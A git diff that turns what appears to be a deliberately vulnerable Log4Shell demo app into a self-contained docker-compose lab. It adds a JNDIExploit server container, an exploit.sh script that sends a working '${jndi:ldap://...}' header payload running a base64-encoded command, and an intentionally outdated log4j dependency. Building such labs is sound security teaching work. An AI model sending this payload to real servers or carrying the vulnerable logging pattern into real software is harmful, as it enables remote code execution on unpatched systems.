diff --git a/Dockerfile-exploit b/Dockerfile-exploit new file mode 100644 index 0000000..097b498 --- /dev/null +++ b/Dockerfile-exploit @@ -0,0 +1,6 @@ +FROM debian:stretch +EXPOSE 8080 +ADD exploit.sh . +RUN apt-get -y update && apt-get -y install wait-for-it curl +CMD ["wait-for-it", "app:8080", "-t", "10", "--", "bash", "exploit.sh"] + diff --git a/Dockerfile-jndi b/Dockerfile-jndi new file mode 100644 index 0000000..abefbf4 --- /dev/null +++ b/Dockerfile-jndi @@ -0,0 +1,6 @@ +FROM openjdk:8u181-jdk-alpine +EXPOSE 8888 +EXPOSE 1389 +RUN mkdir /app +RUN cd /app && wget https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip && unzip JNDIExploit.v1.2.zip +CMD ["java", "-jar", "/app/JNDIExploit-1.2-SNAPSHOT.jar", "-i", "jndi", "-p", "8888"] diff --git a/README.md b/README.md index 73be3df..9d6e1cf 100644 --- a/README.md +++ b/README.md @@ -8,17 +8,12 @@ It uses Log4j 2.14.1 (through `spring-boot-starter-log4j2` 2.6.1) and the JDK 1. ## Running the application -Run it: +Run a complete security lab environment for log4shell: ```bash -docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app +docker-compose up ``` -Build it yourself (you don't need any Java-related tooling): - -```bash -docker build . -t vulnerable-app -docker run -p 8080:8080 --name vulnerable-app vulnerable-app ``` ## Exploitation steps @@ -73,4 +68,4 @@ https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/ ## Contributors [@christophetd](https://twitter.com/christophetd) -[@rayhan0x01](https://twitter.com/rayhan0x01) \ No newline at end of file +[@rayhan0x01](https://twitter.com/rayhan0x01) diff --git a/build.gradle b/build.gradle index 81576d1..f4511e6 100644 --- a/build.gradle +++ b/build.gradle @@ -17,7 +17,9 @@ dependencies { exclude group: 'org.springframework.boot', module: 'spring-boot-starter-logging' } implementation 'org.springframework.boot:spring-boot-starter-log4j2:2.6.1' - testImplementation 'org.springframework.boot:spring-boot-starter-test' + // https://mvnrepository.com/artifact/log4j/log4j + implementation group: 'log4j', name: 'log4j', version: '1.2.16' + testImplementation 'org.springframework.boot:spring-boot-starter-test' } test { diff --git a/docker-compose.yml b/docker-compose.yml new file mode 100644 index 0000000..15eac3a --- /dev/null +++ b/docker-compose.yml @@ -0,0 +1,31 @@ +version: "3.9" # optional since v1.27.0 +services: + jndi: + build: + context: . + dockerfile: Dockerfile-jndi + ports: + - "8888:8888" + - "1389:1389" + app: + build: . + ports: + - "8080:8080" + volumes: + - tmp:/tmp + links: + - jndi + depends_on: + - jndi + exploit: + build: + context: . + dockerfile: Dockerfile-exploit + volumes: + - tmp:/tmp + depends_on: + - app + - jndi + +volumes: + tmp: diff --git a/exploit.sh b/exploit.sh new file mode 100644 index 0000000..9ffd71f --- /dev/null +++ b/exploit.sh @@ -0,0 +1,12 @@ +#!/bin/bash +curl app:8080 -H 'X-Api-Version: ${jndi:ldap://jndi:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}' +sleep 5 + +filename=/tmp/pwned +if [ -f "$filename" ]; +then + echo "Regrettably, you've been pwned :(" + echo "This configuration is vulnerable to log4shell" +else + echo "It looks like you're safe!" +fi diff --git a/src/main/java/fr/christophetd/log4shell/vulnerableapp/MainController.java b/src/main/java/fr/christophetd/log4shell/vulnerableapp/MainController.java index aab70c7..e9b1d54 100644 --- a/src/main/java/fr/christophetd/log4shell/vulnerableapp/MainController.java +++ b/src/main/java/fr/christophetd/log4shell/vulnerableapp/MainController.java @@ -1,6 +1,7 @@ package fr.christophetd.log4shell.vulnerableapp; +import org.springframework.beans.factory.annotation.Value; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestHeader; import org.springframework.web.bind.annotation.RestController; @@ -11,12 +12,20 @@ import org.apache.logging.log4j.Logger; @RestController public class MainController { - private static final Logger logger = LogManager.getLogger("HelloWorld"); + private static final org.apache.log4j.Logger logger1 = org.apache.log4j.Logger.getLogger("HelloWorld1"); + private static final Logger logger2 = LogManager.getLogger("HelloWorld2"); + + @Value("${log4j.version:2}") + private String log4j_version; @GetMapping("/") public String index(@RequestHeader("X-Api-Version") String apiVersion) { - logger.info("Received a request for API version " + apiVersion); - return "Hello, world!"; + if ("1".equals(log4j_version)) { + logger1.info("Hello from log4j v1 " + apiVersion); + } else { + logger2.info("Received a request for API version using log4j v2 " + apiVersion); + } + return "Hello, world!"; } -} \ No newline at end of file +} diff --git a/src/main/java/fr/christophetd/log4shell/vulnerableapp/VulnerableAppApplication.java b/src/main/java/fr/christophetd/log4shell/vulnerableapp/VulnerableAppApplication.java index 4e7efdc..1a3d21e 100644 --- a/src/main/java/fr/christophetd/log4shell/vulnerableapp/VulnerableAppApplication.java +++ b/src/main/java/fr/christophetd/log4shell/vulnerableapp/VulnerableAppApplication.java @@ -1,5 +1,6 @@ package fr.christophetd.log4shell.vulnerableapp; +import org.apache.log4j.BasicConfigurator; import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; @@ -7,7 +8,8 @@ import org.springframework.boot.autoconfigure.SpringBootApplication; public class VulnerableAppApplication { public static void main(String[] args) { - SpringApplication.run(VulnerableAppApplication.class, args); + BasicConfigurator.configure(); + SpringApplication.run(VulnerableAppApplication.class, args); } }